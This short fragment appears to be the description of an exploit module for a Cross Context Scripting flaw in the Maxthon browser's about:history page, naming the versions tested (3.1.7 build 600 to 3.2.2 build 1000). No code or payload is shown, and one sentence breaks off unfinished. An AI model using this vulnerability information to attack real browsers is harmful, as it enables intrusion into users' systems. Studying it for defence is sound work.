Cross Context Scripting (XCS) is possible in the Maxthon about:history page.

Injection in such privileged/trusted browser zone can be used to modify

Please note this module only works against specific versions of XCS. Currently,

we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
